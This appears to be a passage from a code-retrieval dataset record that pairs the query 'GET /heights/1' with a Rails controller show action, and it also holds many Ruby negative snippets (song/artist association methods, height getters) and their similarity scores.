"def add_song(song)\n song.artist = self unless song.artist == self\n @songs << song unless @songs.include? song\n end",
"def add_song(song)\n song.artist = self unless song.artist == self #the song's artist property here\n @songs << song unless @songs.include?(song)\n end",
"def add_song(song)\n songs << song\n end",
"def add_song(song)\n songs << song\n end",
"def add_song(song)\n @songs << song \n end",
"def add_song(song)\n song.artist = self #instead of @songs << song\n \n # - TEST -\n # hello = Song.new(\"Hello\")\n # adele.add_song(hello)\n # expect(adele.songs).to include(hello)\n # expect(hello.artist).to eq(adele) \n end",
"def add_song(x)\n \t@songs << x\n end",
"def add_song(song) # Third, we create 'add_song' to associate a song name with a particular artist.\n song.artist = self # When we call 'song.artist', we set the result equal to 'self', or the artist on which we are calling the method.\n end",
"def add_song(song_to_be_added)\n @songs << song_to_be_added\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def artist= (artist)\n @artist = artist\n artist.add_song(self)\n end",
"def add_song(song)\n\t\t@songs <<(song)\n\t\t\n\tend",
"def add_song(song_title)\n #adds the song to the current artist's 'songs' collection = @songs\n #does not add the song to the current artist's collection of songs if it already exists therein\n songs << song_title if !songs.detect{|song| song == song_title}\n\n\n #assigns the current artist to the song's 'artist' property (song belongs to artist)\n #does not assign the artist if the song already has an artist\n\n song_title.artist = self if song_title.artist == nil\n end",
"def artist=(artist_obj)\n @artist = artist_obj\n\n #self is a song obj\n artist_obj.songs.push(self)\n end",
"def add_song(song_name)\n songs << song_name\n end",
"def add_song(song)\n song.artist = self \n #binding.pry\n end",
"def add_song(song)\n # We want to tell the song_name passed in that it belongs to the instance\n # of Artist for which this method is called on aka self.\n song.artist = self\n end",
"def add_song(song)\n @songs.push(song)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def add_song_by_name(name)\n\t\tSong.new(name).artist = self \n\tend",
"def artist=(artist)\n @artist = artist\n @artist.add_song(self)\n end",
"def add_song(song)\n @songs << song\nend",
"def artist=(the_artist)\n @artist = the_artist\n if @artist \n @artist.add_song(self)\n end\n @artist\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def add_song(song) #song = #<Song:0x007fc75eb94420 @genre=#<Genre:0x007fc75eb94498 @name=\"rap\", @songs=[]>, @name=\"99 Problems\">\n\n self.songs << song\n end",
"def add_song(song)\n @song_list.push(song)\n end",
"def add_new_song(new_song)\n @bar_songlist.push(new_song)\n end",
"def add_a_song(song)\n @list_of_songs.push(song)\n end",
"def add_song_by_name(song_name)\n song = Song.new(song_name)\n @@songs << song\n song.artist = self\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n # I hava class varaible @@all in Song class\n # the song is adding to self (refering to the \n # Artist)\n # adds that song to the artist's collection\n # HOW??? \n @song << song # without it\n song.artist = self \n #binding.pry\n end",
"def add_song_by_name(song_name)\n song = Song.new(song_name)\n song.artist = self\n @songs << song\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by_name(name)\n #return the new song instance\n artist.add_song(self)\n end",
"def add_song(song) #=> we found out by looking at the test that the argument is a song instance\n # the following code tells the current artist calling the method what new song it has:\n self.songs << song\n # but the test is asking us for the inverse of this - instead of telling artist \n # about its songs, we need to tell song about its artist:\n song.artist = self\n # inside the Artist instance scope, Self refers to the artist object calling the add_song method\n end",
"def add_song_by_name(song_name)\n # Create a new song called \"song\" with argument passed in.\n song = Song.new(song_name)\n # Associate it with the artist\n song.artist = self\n end",
"def artist=(artist)\n @artist = artist\n if artist.class == Artist\n artist.add_song(self)\n end\n end",
"def artist=(artist)\n @artist = artist\n if artist != nil\n @artist.add_song(self)\n end\n end",
"def artist=(artist) #assigns an artist to the song (song belongs to artist)\n @artist = artist #artist is reading from Song class artist method(reader)\n artist.add_song(self) #invokes Artist#add_song to add itself to the artist's collection of songs (artist has many songs)\n end",
"def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end",
"def add_song(song)\n #@song << song\n #song.artist = self \n self.songs << song \n \n # self.songs << song \n #binding.pry \n end",
"def add_song(song)\n if(!songs.include?song)\n songs.add(song)\n end\n end",
"def add_song(song_instance)\n songs << song_instance\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n song.artist = self\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n song.artist = self\n end",
"def add_song(song)\n song.genre = self unless song.genre\n @songs << song unless @songs.include?(song)\n end",
"def add_song(new_song)\n @songs.include?(new_song) ? (puts \"The song has already been added\") : @songs.push(new_song)\n end",
"def add_song(new_song)\n @songs.include?(new_song) ? (puts \"The song has already been added\") : @songs.push(new_song)\n end",
"def artist_name=(name)\n #object attr\n self.artist = Artist.find_or_create_by_name(name)\n\n artist.add_song(self)\n\n end"
] |
[
"0.8554741",
"0.8489688",
"0.8468347",
"0.8468347",
"0.8465742",
"0.8338294",
"0.83375704",
"0.8319788",
"0.8315116",
"0.8294787",
"0.82816887",
"0.82786745",
"0.82706237",
"0.82608",
"0.8248994",
"0.8242684",
"0.82288986",
"0.82288986",
"0.82288986",
"0.82288986",
"0.82288986",
"0.82288986",
"0.8216256",
"0.8216256",
"0.8216256",
"0.820034",
"0.81941473",
"0.81826097",
"0.81732744",
"0.8162392",
"0.8159287",
"0.8132716",
"0.81269956",
"0.8077941",
"0.80629295",
"0.8018571",
"0.7940287",
"0.7929911",
"0.78986317",
"0.786271",
"0.7862278",
"0.7862205",
"0.7862086",
"0.7854309",
"0.7854309",
"0.7854309",
"0.7854309",
"0.7854309",
"0.7854309",
"0.7850656",
"0.7830621",
"0.77552074",
"0.77414244",
"0.7709761",
"0.76915675",
"0.7681148",
"0.76668596",
"0.76625913",
"0.76625913",
"0.76625913",
"0.7628709",
"0.7625908",
"0.7624489",
"0.7607738",
"0.7606506",
"0.7594637",
"0.7577062",
"0.75329983",
"0.752988",
"0.751196",
"0.74881136",
"0.7472893",
"0.7446657",
"0.7438614",
"0.7402805",
"0.73953295",
"0.7393922",
"0.73927927",
"0.73886526",
"0.73516524",
"0.7330731",
"0.7323581",
"0.7315118",
"0.73119694",
"0.7293611",
"0.7293611",
"0.72572595",
"0.7250691",
"0.7250691",
"0.7189474"
] |
0.84680945
|
12
|
GET /heights GET /heights.json
|
def index
@heights = Height.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @heights }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @height = Height.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @height }\n end\n end",
"def blocks_height_get(height, opts = {})\n data, _status_code, _headers = blocks_height_get_with_http_info(height, opts)\n data\n end",
"def blocks_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.blocks_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.blocks_height_get\"\n end\n # resource path\n local_var_path = '/blocks/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BlockQuery')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#blocks_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def validatorsets_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.validatorsets_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.validatorsets_height_get\"\n end\n # resource path\n local_var_path = '/validatorsets/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2002')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#validatorsets_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def validatorsets_height_get(height, opts = {})\n data, _status_code, _headers = validatorsets_height_get_with_http_info(height, opts)\n data\n end",
"def new\n @height = Height.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @height }\n end\n end",
"def height(latitude, longitude)\n get_lookup(:height).search(latitude, longitude)\n end",
"def height(hash)\n best_of('height') do |api|\n api.height(hash)\n end\n end",
"def destroy\n @height = Height.find(params[:id])\n @height.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_heights_url }\n format.json { head :ok }\n end\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"def getblockbycount(height)\n request :getblockbycount, height\n end",
"def get_height(*params); raise('Stub or mock required.') end",
"def index\n @attack_heights = AttackHeight.all\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def height()\n\t\t@pokemon_api[\"height\"]\n\tend",
"def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end",
"def update_heights\n\t\t@height = @tile.attributes[\"height\"]\n\t\t@waterlevel = @tile.agents.length * HEIGHT_MOD \n\tend",
"def height(hash)\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = json['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n h = data['height']\n raise Sibit::Error, \"The block #{hash} found but the height is absent\" if h.nil?\n @log.info(\"The height of #{hash} is #{h}\")\n h\n end",
"def badges\n get(\"user/#{user_id}/badges.json\")\n end",
"def getblockbycount(height)\n @api.request 'getblockbycount', height\n end",
"def list\n @sizes = Admin::Size.all\n\n render json: { sizes: @sizes }\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def get_sizes\n @item = Item.find(params[:id])\n @sizes = @item.variants_for(:size, nil, params[:colour])\n respond_to do |format|\n format.json { render :json => @sizes }\n end\n end",
"def height\n end",
"def height\n end",
"def height=(value)\n @height = value\n end",
"def create\n @height = Height.new(params[:height])\n\n respond_to do |format|\n if @height.save\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully created.' }\n format.json { render json: @height, status: :created, location: @height }\n else\n format.html { render action: \"new\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height\n self.resolution.last unless self.resolution.nil? || many?\n end",
"def height\r\n assert_exists\r\n return @o.invoke(\"height\").to_s\r\n end",
"def get_hash_from_height(height)\n db.get(height_key(height))\n end",
"def height\n @height\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def get_shelley_balances(wid)\n w = SHELLEY.wallets.get(wid)\n total = w['balance']['total']['quantity']\n available = w['balance']['available']['quantity']\n reward = w['balance']['reward']['quantity']\n assets_total = w['assets']['total']\n assets_available = w['assets']['available']\n { 'total' => total,\n 'available' => available,\n 'rewards' => reward,\n 'assets_available' => assets_available,\n 'assets_total' => assets_total\n }\nend",
"def height(y = @y)\n height = [y]\n return height unless @page\n @page.size[2].times { |i| height << y - (i + 1) }\n @page.size[3].times { |i| height << y + (i + 1) }\n return height\n end",
"def height\n features.intersection(Features::HEIGHT)\n end",
"def index\n @blocks = Block.all\n\n render json: @blocks\n end",
"def index\n @bemaps = Bemap.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bemaps }\n end\n end",
"def height\n @height || 100\n end",
"def height(input)\n process(:height, input)\n end",
"def get_url photo\n response = HTTParty.get('https://api.flickr.com/services/rest/?method=flickr.photos.getSizes&api_key=' + KEY + '&format=json&nojsoncallback=1&photo_id=' + photo[\n \"id\"], format: :plain)\n\n data = JSON.parse response\n\n data[\"sizes\"][\"size\"]\n end",
"def index\n @urls = Url.get_top(25)\n # render json: @urls\n end",
"def badges(id)\n get(\"users/#{id}/badges\")\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def retrieve_height(param)\n unless (height = param[:height])\n height = self::DEFAULT_HEIGHT if param[:list_direction] == :vertical\n height ||= param[:list_height]\n height ||= self::DEFAULT_HEIGHT\n end\n return height\n end",
"def height\n metadata[:height] if valid?\n end",
"def height\n heights = [left_height, right_height].sort\n\n heights.last\n end",
"def height; end",
"def height; end",
"def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"def image_height\n\t\t\t@data[\"image\"][\"height\"]\n\t\tend",
"def height\n return data.height\n end",
"def height\n attr('height')\n end",
"def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end",
"def show\n @wine = Wine.find(params[:id])\n @bottlings = Bottling.find_all_by_wine_id(params[:id]).sort_by! {|b| b.bottle_size[0..-3].to_i }\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wine }\n end\n end",
"def index\n respond_to do |format|\n format.html { @sizes = Size.all }\n format.json { @sizes = Size.order(:name) }\n end\n end",
"def index\n @honey_badgers = HoneyBadger.all\n respond_to do |format|\n format.html\n format.json { render json: @honey_badgers }\n end\n end",
"def height(pixels)\n filter << \"Size:Height:#{pixels}\"\n self\n end",
"def get_colours\n @item = Item.find(params[:id])\n @colours = @item.variants_for(:colour, params[:size], nil)\n respond_to do |format|\n format.json { render :json => @colours }\n end\n end",
"def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end",
"def index\n session[:admin] = true\n @badges = Badge.order('approved_at desc,id')\n @fri_count = Badge.select { |b| b.friday? }.size\n @sat_count = Badge.select { |b| b.saturday? }.size\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @badges }\n end\n end",
"def update\n @height = Height.find(params[:id])\n\n respond_to do |format|\n if @height.update_attributes(params[:height])\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def thumbnail_height\n\t\t\t@data[\"thumbnail\"][\"height\"]\n\t\tend",
"def index\n ends = End.find_each\n render json: ends\n end",
"def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end",
"def processRoster url\n\tunparse_page = HTTParty.get(url)\n\tparse_page = Nokogiri::HTML(unparse_page)\n\n\th = height parse_page\n\t#puts h.length\n\tn = names parse_page\n\t#puts n.length\n\theightInInches = feetToInches(h)\n\tif heightInInches.inject(0){|sum,x| sum +x} != 0 \n\t\t\n\t\t\n\n\t\tdisplayNameHeight h,heightInInches,n\n\t\n\t\taverageHeight = average(heightInInches)\n\t\tputs \"\\nAverage height in inches is: #{averageHeight}\"\n\n\t\tfeet = averageHeight/12\n\t\tnum = averageHeight - feet.to_i * 12\n\t\tputs \"Average height in feet is: #{feet.to_i}\\' #{num}\\\"\"\n\telse\n\t\tputs \"No available height data for this sport.\"\n\tend\nend",
"def find_bridges(params={}, headers=default_headers)\n @logger.info(\"Find Bridges.\")\n get(\"#{@api_url}/bridges\", params, headers)\n end",
"def index\n @layers = Layer.order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n # example output:\n # {\"layers\":[{\"id\":14,\"name\":\"coutries\",\"number_of_polygons\":279}]}\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n end\n end",
"def height\n defined?(@ht) ? @ht : nil\n end",
"def show\n render json: @dice\n end",
"def hours\n render json: Pings::Selector.new.hours(params)\n end",
"def get_metrics(path, query={}, headers={})\n url = Client::make_url(URI_TEMPLATE, {:path=>path} )\n response = get( url, query, headers )\n if block_given?\n yield response\n end\n validate_response(url, query, response) \n return JSON.parse( response.content ) \n end",
"def height\n size.first\n end",
"def height\n size.first\n end",
"def index\n @health_levels = HealthLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @health_levels }\n end\n end",
"def show\n @down_size = DownSize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @down_size }\n end\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def height(accessoryHeight)\n return if accessoryHeight.nil?\n @dimensions[:height] = [accessoryHeight.to_f, MIN_HEIGHT, MAX_HEIGHT].sort[1]\n end",
"def index\n @branch_rooms = Room.get_all_rooms(params[:branch_id])\n \n render json: @branch_rooms\n end",
"def show\n list = List.find(params[:id])\n blocks = list.blocks\n blocks = blocks.order(location: :asc)\n render json: {list: list, blocks: blocks}\n end",
"def get_tags_by_url\n url = Url.find_by(id: params[:id])\n tags = url.tags\n render json: {code: 200, tags: tags}\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def get_monster_info\n monster_string = RestClient.get('http://www.dnd5eapi.co/api/monsters/')\n monster_hash = JSON.parse(monster_string)\n monster_info = monster_hash[\"results\"]\n monster_info\nend",
"def badges(user_id: '-')\n return get(\"#{API_URI}/#{PROFILE_API_VERSION}/user/#{user_id}/badges.json\")\n end",
"def height\n\t\treturn @height\n\tend",
"def height\n @map.size\n end",
"def index\n @body_style_sizes = if params[:size_id]\n Size.find(params[:size_id]).body_style_sizes.ordered\n else\n BodyStyleSize.ordered\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @body_style_sizes }\n end\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def height\n return @height\n end",
"def index\n @thumbs = Thumb.all\n\n render json: @thumbs\n end",
"def height\n\t\tnode['height']\n\tend",
"def get_herb_list\n # Herb http://www.wowdb.com/search.aspx?browse=5.-2\n if @@herbs.length == 0\n herbs = search_list(\"5.-2\")\n herbs.each do |h|\n if not h[:skill].nil? and h[:skill] > 0\n @@herbs[h[:name]] = h[:id]\n end\n end \n end\n return @@herbs\n end",
"def index\n @wbr_data = WbrDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wbr_data }\n end\n end",
"def index\n @dbh_measurements = DbhMeasurement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dbh_measurements }\n end\n end",
"def index\n\n @houses = House.page(params[:page]).per(House::PER_PAGE_COUNT)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end",
"def height=(height)\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_dungeons.to_ext_json(:class => Dungeon, :count => Dungeon.count(options_from_search(Dungeon))) }\n end\n end",
"def height\n rows\n end"
] |
[
"0.70800406",
"0.65383637",
"0.64297676",
"0.6352048",
"0.6190382",
"0.61019766",
"0.60021526",
"0.5912485",
"0.5897405",
"0.5841711",
"0.583789",
"0.5820834",
"0.58119255",
"0.57751393",
"0.57445395",
"0.56987196",
"0.5695987",
"0.5653103",
"0.55643266",
"0.55571854",
"0.5484788",
"0.547962",
"0.5459684",
"0.5436432",
"0.5436432",
"0.5395947",
"0.5382004",
"0.53813094",
"0.5376752",
"0.5326948",
"0.53215575",
"0.5313757",
"0.5304548",
"0.5295569",
"0.5295569",
"0.5271861",
"0.52618945",
"0.5254643",
"0.52533686",
"0.5252516",
"0.5249852",
"0.5230933",
"0.52283734",
"0.52087486",
"0.51954406",
"0.51774925",
"0.5176748",
"0.51717263",
"0.5169859",
"0.515399",
"0.515399",
"0.51458675",
"0.5136187",
"0.5133157",
"0.513141",
"0.5125119",
"0.50999194",
"0.5092533",
"0.5092298",
"0.5073018",
"0.50722694",
"0.5059702",
"0.50579566",
"0.5055971",
"0.5054405",
"0.50437814",
"0.503829",
"0.5033637",
"0.50333935",
"0.50244474",
"0.50218886",
"0.5018202",
"0.501816",
"0.5014404",
"0.5012883",
"0.5012883",
"0.5005697",
"0.5005488",
"0.50044316",
"0.49987927",
"0.49944425",
"0.49938372",
"0.49920613",
"0.4990168",
"0.49879006",
"0.49853608",
"0.49775845",
"0.49760333",
"0.49705032",
"0.49675003",
"0.49671432",
"0.4959756",
"0.4957523",
"0.4951326",
"0.4949178",
"0.4945294",
"0.49429423",
"0.49425152",
"0.49422634",
"0.49381116"
] |
0.76686114
|
0
|
GET /heights/1 GET /heights/1.json
|
def show
@height = Height.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @height }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def new\n @height = Height.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @height }\n end\n end",
"def blocks_height_get(height, opts = {})\n data, _status_code, _headers = blocks_height_get_with_http_info(height, opts)\n data\n end",
"def blocks_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.blocks_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.blocks_height_get\"\n end\n # resource path\n local_var_path = '/blocks/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BlockQuery')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#blocks_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @height = Height.find(params[:id])\n @height.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_heights_url }\n format.json { head :ok }\n end\n end",
"def validatorsets_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.validatorsets_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.validatorsets_height_get\"\n end\n # resource path\n local_var_path = '/validatorsets/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2002')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#validatorsets_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def height(hash)\n best_of('height') do |api|\n api.height(hash)\n end\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"def get_height(*params); raise('Stub or mock required.') end",
"def height(hash)\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = json['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n h = data['height']\n raise Sibit::Error, \"The block #{hash} found but the height is absent\" if h.nil?\n @log.info(\"The height of #{hash} is #{h}\")\n h\n end",
"def height()\n\t\t@pokemon_api[\"height\"]\n\tend",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def validatorsets_height_get(height, opts = {})\n data, _status_code, _headers = validatorsets_height_get_with_http_info(height, opts)\n data\n end",
"def height(latitude, longitude)\n get_lookup(:height).search(latitude, longitude)\n end",
"def create\n @height = Height.new(params[:height])\n\n respond_to do |format|\n if @height.save\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully created.' }\n format.json { render json: @height, status: :created, location: @height }\n else\n format.html { render action: \"new\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(value)\n @height = value\n end",
"def height\n end",
"def height\n end",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height\r\n assert_exists\r\n return @o.invoke(\"height\").to_s\r\n end",
"def height\n @height\n end",
"def get_hash_from_height(height)\n db.get(height_key(height))\n end",
"def update_heights\n\t\t@height = @tile.attributes[\"height\"]\n\t\t@waterlevel = @tile.agents.length * HEIGHT_MOD \n\tend",
"def height\n @height || 100\n end",
"def height\n metadata[:height] if valid?\n end",
"def update\n @height = Height.find(params[:id])\n\n respond_to do |format|\n if @height.update_attributes(params[:height])\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height\n self.resolution.last unless self.resolution.nil? || many?\n end",
"def height\n size.first\n end",
"def height\n size.first\n end",
"def height\n attr('height')\n end",
"def getblockbycount(height)\n request :getblockbycount, height\n end",
"def height(input)\n process(:height, input)\n end",
"def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"def height=(height)\n end",
"def index\n @attack_heights = AttackHeight.all\n end",
"def height\n defined?(@ht) ? @ht : nil\n end",
"def height; end",
"def height; end",
"def retrieve_height(param)\n unless (height = param[:height])\n height = self::DEFAULT_HEIGHT if param[:list_direction] == :vertical\n height ||= param[:list_height]\n height ||= self::DEFAULT_HEIGHT\n end\n return height\n end",
"def height\n return data.height\n end",
"def get_sizes\n @item = Item.find(params[:id])\n @sizes = @item.variants_for(:size, nil, params[:colour])\n respond_to do |format|\n format.json { render :json => @sizes }\n end\n end",
"def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end",
"def image_height\n\t\t\t@data[\"image\"][\"height\"]\n\t\tend",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end",
"def thumbnail_height\n\t\t\t@data[\"thumbnail\"][\"height\"]\n\t\tend",
"def badges\n get(\"user/#{user_id}/badges.json\")\n end",
"def show\n @down_size = DownSize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @down_size }\n end\n end",
"def height\n\t\treturn @height\n\tend",
"def height\n features.intersection(Features::HEIGHT)\n end",
"def getblockbycount(height)\n @api.request 'getblockbycount', height\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def height\n return @height\n end",
"def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end",
"def height\n\t\tnode['height']\n\tend",
"def height\n instance.options[:height]\n end",
"def show\n @body_style_size = BodyStyleSize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @body_style_size }\n end\n end",
"def get_height(dta)\n get_dimension('height', dta)\n end",
"def get_url photo\n response = HTTParty.get('https://api.flickr.com/services/rest/?method=flickr.photos.getSizes&api_key=' + KEY + '&format=json&nojsoncallback=1&photo_id=' + photo[\n \"id\"], format: :plain)\n\n data = JSON.parse response\n\n data[\"sizes\"][\"size\"]\n end",
"def height\n dimensions.last\n end",
"def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end",
"def height_multiplier\n @height_multiplier || 1\n end",
